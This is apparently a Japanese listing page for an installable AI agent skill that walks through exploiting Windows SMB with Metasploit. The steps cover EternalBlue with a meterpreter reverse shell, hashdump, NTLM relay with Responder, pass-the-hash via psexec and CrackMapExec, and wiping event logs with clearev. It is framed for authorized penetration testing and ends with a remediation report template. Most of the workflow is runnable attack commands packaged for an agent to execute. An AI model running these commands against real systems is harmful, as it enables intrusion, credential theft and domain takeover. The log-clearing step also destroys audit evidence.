exploiting-smb-vulnerabilities-with-metasploit について
MetasploitなどのツールでSMBの脆弱性を評価する、許可を得たペネトレーションテスター向けのスキルです。サービスの列挙、既知の脆弱性の確認、悪用テスト、発見事項の記録と後片付けを扱います。
主な機能
- 01SMBサービスとバージョンの列挙
- 02既知のSMB脆弱性のスキャン
- 03SMB脆弱性の悪用テスト
- 04リレーとパス・ザ・ハッシュのリスク評価
- 05発見事項の記録と後片付け
活用シーン
- 01SMBパッチ適用範囲の検証
- 02SMB署名と共有権限のテスト
- 03許可されたテストでのネットワーク分離評価
インストール
コマンドをコピーしてターミナルで実行します。
$
npx skills add https:/ / github.com/ mukul975/ anthropic-cybersecurity-skills --skill exploiting-smb-vulnerabilities-with-metasploitインストール後、Claude Code で/exploiting-smb-vulnerabilities-with-metasploitを入力して読み込まれたか確認します。
同梱ファイル
SKILL.md と一緒にインストールされる参考資料やスクリプト。
LICENSEreferences/api-reference.mdscripts/agent.py詳細
Metasploit を使用した SMB の脆弱性の悪用
使用する状況
- 許可されたペネトレーションテストで、重大な SMB の脆弱性(EternalBlue、EternalRomance、PrintNightmare)について Windows システムをテストする
- SMB リレー、パス・ザ・ハッシュ、クレデンシャルスプレーによる横方向移動のリスクを実証する
- パッチ管理プロセスによって既知の SMB の脆弱性が解消されていることを検証する
- ドメイン全体で SMB 署名の適用状況と共有アクセス許可の設定を評価する
- VLAN 境界を越えて SMB の悪用を試み、ネットワークセグメンテーションをテストする
明示的な書面による許可のないシステム、メンテナンス時間外の本番ドメインコントローラー、または評価の範囲を超えて永続的なバックドアを展開する目的では使用しないでください。
前提条件
- Metasploit Framework 6.x がインストールされていること(
msfconsole --version) - 対象 IP 範囲と承認済みの攻撃タイプが記載された、許可済みペネトレーションテストのスコープ文書
- 対象の SMB サービス(TCP 445、TCP 139)へのネットワークアクセス
- 補完的な SMB テストに使用する CrackMapExec と Impacket がインストールされていること
- 有効なテスト用認証情報、またはエンゲージメントで承認された認証情報ワードリスト
- Kali Linux または同等のテストプラットフォーム
ワークフロー
ステップ 1:SMB サービスとバージョンを列挙する
# Discover hosts with SMB open using Nmap
nmap -sS -p 445,139 --open -oA smb_hosts 10.10.0.0/24
# Enumerate SMB versions and OS information
nmap -sV -p 445 --script smb-os-discovery,smb-protocols -oA smb_enum 10.10.0.0/24
# Use CrackMapExec for rapid SMB enumeration
crackmapexec smb 10.10.0.0/24 --gen-relay-list smb_nosigning.txt
# Check SMB signing status (disabled = vulnerable to relay)
crackmapexec smb 10.10.0.0/24 --smb-signing
# Enumerate shares with null session
crackmapexec smb 10.10.0.0/24 -u '' -p '' --shares
ステップ 2:既知の SMB の脆弱性をスキャンする
# Start Metasploit and scan for MS17-010 (EternalBlue)
msfconsole -q
msf6> use auxiliary/scanner/smb/smb_ms17_010
msf6 auxiliary(smb_ms17_010)> set RHOSTS file:smb_hosts.txt
msf6 auxiliary(smb_ms17_010)> set THREADS 10
msf6 auxiliary(smb_ms17_010)> run
# Scan for MS08-067 (Conficker vulnerability)
msf6> use auxiliary/scanner/smb/ms08_067_check
msf6 auxiliary(ms08_067_check)> set RHOSTS file:smb_hosts.txt
msf6 auxiliary(ms08_067_check)> run
# Check for SMBGhost (CVE-2020-0796)
nmap -p 445 --script smb-vuln-cve-2020-0796 10.10.0.0/24
# Check for PrintNightmare (CVE-2021-34527)
crackmapexec smb 10.10.0.0/24 -u testuser -p 'TestPass123' -M printnightmare
ステップ 3:EternalBlue(MS17-010)を悪用する
msf6> use exploit/windows/smb/ms17_010_eternalblue
msf6 exploit(ms17_010_eternalblue)> set RHOSTS 10.10.5.23
msf6 exploit(ms17_010_eternalblue)> set LHOST 10.10.1.99
msf6 exploit(ms17_010_eternalblue)> set LPORT 4444
msf6 exploit(ms17_010_eternalblue)> set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6 exploit(ms17_010_eternalblue)> set MaxExploitAttempts 3
msf6 exploit(ms17_010_eternalblue)> exploit
# Post-exploitation -- verify access level
meterpreter> getuid
# Server username: NT AUTHORITY\SYSTEM
meterpreter> sysinfo
meterpreter> ipconfig
meterpreter> hashdump
ステップ 4:SMB リレー攻撃を実行する
# Identify hosts without SMB signing (from Step 1)
# Set up NTLM relay with Impacket
sudo impacket-ntlmrelayx -tf smb_nosigning.txt -smb2support -i
# Trigger authentication from a compromised host or via phishing
# From Meterpreter session on a compromised host:
meterpreter> shell
C:\> net use \\10.10.1.99\share /user:DOMAIN\admin password
# Or use Metasploit's SMB relay module
msf6> use exploit/windows/smb/smb_relay
msf6 exploit(smb_relay)> set SMBHOST 10.10.5.30
msf6 exploit(smb_relay)> set LHOST 10.10.1.99
msf6 exploit(smb_relay)> exploit
# Use responder to capture NTLM hashes for offline cracking
sudo responder -I eth0 -wrfv
ステップ 5:SMB 経由でパス・ザ・ハッシュと横方向移動を行う
# Extract hashes from compromised system
meterpreter> hashdump
# Administrator:500:aad3b435b51404eeaad3b435b51404ee:e19ccf75ee54e06b06a5907af13cef42:::
# Use pass-the-hash with CrackMapExec
crackmapexec smb 10.10.0.0/24 -u Administrator \
-H e19ccf75ee54e06b06a5907af13cef42 --shares
# Execute commands via pass-the-hash
crackmapexec smb 10.10.5.30 -u Administrator \
-H e19ccf75ee54e06b06a5907af13cef42 -x "whoami && hostname"
# Use Impacket psexec for interactive shell
impacket-psexec [email protected] \
-hashes aad3b435b51404eeaad3b435b51404ee:e19ccf75ee54e06b06a5907af13cef42
# Use Metasploit psexec module
msf6> use exploit/windows/smb/psexec
msf6 exploit(psexec)> set RHOSTS 10.10.5.30
msf6 exploit(psexec)> set SMBUser Administrator
msf6 exploit(psexec)> set SMBPass aad3b435b51404eeaad3b435b51404ee:e19ccf75ee54e06b06a5907af13cef42
msf6 exploit(psexec)> set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6 exploit(psexec)> set LHOST 10.10.1.99
msf6 exploit(psexec)> exploit
ステップ 6:調査結果を記録し、後片付けを行う
# Document all compromised systems and access levels
# In Meterpreter, screenshot desktops for evidence
meterpreter> screenshot
# List accessible shares and sensitive data
meterpreter> shell
C:\> net share
C:\> dir \\10.10.5.30\C$\Users\ /s /b
# Clean up -- remove any artifacts
meterpreter> clearev
meterpreter> shell
C:\> del /f C:\Windows\Temp\payload.exe
# Close all sessions
msf6> sessions -K
# Verify cleanup
crackmapexec smb 10.10.5.23 -u Administrator -H <hash> -x "dir C:\Windows\Temp\payload*"
主要な概念
| 用語 | 定義 |
|---|---|
| EternalBlue(MS17-010) | SMBv1 に存在する重大な SMB の脆弱性です。認証なしでリモートから SYSTEM としてコードを実行できます。NSA が開発し、Shadow Brokers によってリークされました。 |
| SMB 署名 | 改ざんやリレー攻撃を防ぐために SMB パケットに暗号署名を付与することです。無効になっている場合、攻撃者は NTLM 認証を他の SMB ホストにリレーできます。 |
| パス・ザ・ハッシュ | 平文のパスワードの代わりに、取得した NTLM パスワードハッシュを直接使用する認証手法です。ハッシュを解読する必要がありません。 |
| NTLM リレー | 取得した NTLM 認証をリアルタイムで別のサーバーに転送し、リレーされたユーザーとして攻撃者にアクセス権を与える攻撃です。 |
| PsExec | ADMIN$ 共有にサービスバイナリをアップロードし、Windows サービスを作成して SYSTEM としてコマンドを実行するリモート実行手法です。 |
| ヌルセッション | 匿名の SMB 接続(ユーザー名とパスワードが空)です。設定に不備があるシステムでは、共有一覧、ユーザー情報、ポリシー情報が露出する場合があります。 |
ツールとシステム
- Metasploit Framework:包括的な SMB テストに対応する、専用の SMB スキャナー、エクスプロイト、侵入後モジュールを備えたエクスプロイトフレームワーク
- CrackMapExec:Windows ネットワーク全体で SMB の列挙、認証情報のテスト、共有の列挙、コマンドの実行を行うための万能ツール
- Impacket:psexec、smbclient、ntlmrelayx など、低レベルで SMB プロトコルを操作するツールを提供する Python ライブラリ
- Responder:Windows の名前解決フォールバック動作を利用して NTLM ハッシュを取得する、LLMNR/NBT-NS/mDNS ポイズナー
- enum4linux-ng:Windows/Samba ホストからユーザー、グループ、共有、ポリシーを抽出する最新の SMB 列挙ツール
よくあるシナリオ
シナリオ:SMB 経由で Windows ドメインを標的とする内部ペネトレーションテスト
コンテキスト:金融サービス企業の内部ペネトレーションテストで、テスターは企業 VLAN(10.10.0.0/16)にネットワークアクセスできます。対象範囲には、SMB 関連の脆弱性についてすべての Windows サーバーとワークステーションをテストすることが含まれます。Active Directory ドメインは CORP.EXAMPLE.COM で、ホスト数は約 200 台です。
アプローチ:
- /16 全体をスキャンして開いている SMB ポートを検出し、CrackMapExec で OS バージョンを列挙します
- MS17-010 パッチが適用されていない Windows Server 2012 R2 を実行するホストを 12 台特定します
- 重要度の低いファイルサーバー(10.10.5.23)で EternalBlue を悪用し、SYSTEM アクセスを取得します
- hashdump を使用してローカル管理者のパスワードハッシュを抽出し、47 台のホストでパスワードが再利用されていることを発見します
- pass-the-hash を使用してドメインコントローラーにアクセスし、NTDS.dit データベースを抽出します
- ホストの 83% で SMB 署名が無効になっており、リレー攻撃が可能になっていることを実証します
- 1 台の未パッチシステムからドメイン全体の侵害に至る攻撃チェーンの全容を記録します
注意点:
- EternalBlue のエクスプロイトは、特に古いシステムや不安定なシステムで、標的にブルースクリーン(BSOD)を発生させる可能性があります
- 厳重に監視されているエンドポイントで psexec を実行すると、EDR アラートが発生し、作業が露見する可能性があります
- 大規模なデータベースを持つドメインコントローラーで hashdump を実行すると、パフォーマンスが低下する可能性があります
- SMBv1 を明示的に確認しないこと。一部のスキャナーでは、SMBv2/v3 も利用可能な場合に見落とすことがあります
出力形式
## SMB Vulnerability Assessment Report
**Engagement**: Internal Penetration Test
**Target Range**: 10.10.0.0/16 (CORP.EXAMPLE.COM)
**SMB Hosts Discovered**: 187
### Critical Findings
**Finding 1: MS17-010 (EternalBlue) - 12 Unpatched Hosts**
- Severity: Critical (CVSS 9.8)
- Affected: 10.10.5.23, 10.10.5.24, 10.10.8.10 (+ 9 others)
- Impact: Remote code execution as SYSTEM without authentication
- Exploited: Yes - gained SYSTEM on 10.10.5.23
- Remediation: Apply MS17-010 patch, disable SMBv1
**Finding 2: SMB Signing Disabled - 155/187 Hosts**
- Severity: High (CVSS 7.5)
- Impact: NTLM relay attacks allow credential forwarding
- Exploited: Yes - relayed domain admin credentials
- Remediation: Enable SMB signing via Group Policy
**Finding 3: Local Admin Password Reuse - 47 Hosts**
- Severity: High (CVSS 7.2)
- Impact: Compromise of one host enables lateral movement to 47 systems
- Remediation: Deploy LAPS (Local Administrator Password Solution)
コメント
Markdown 対応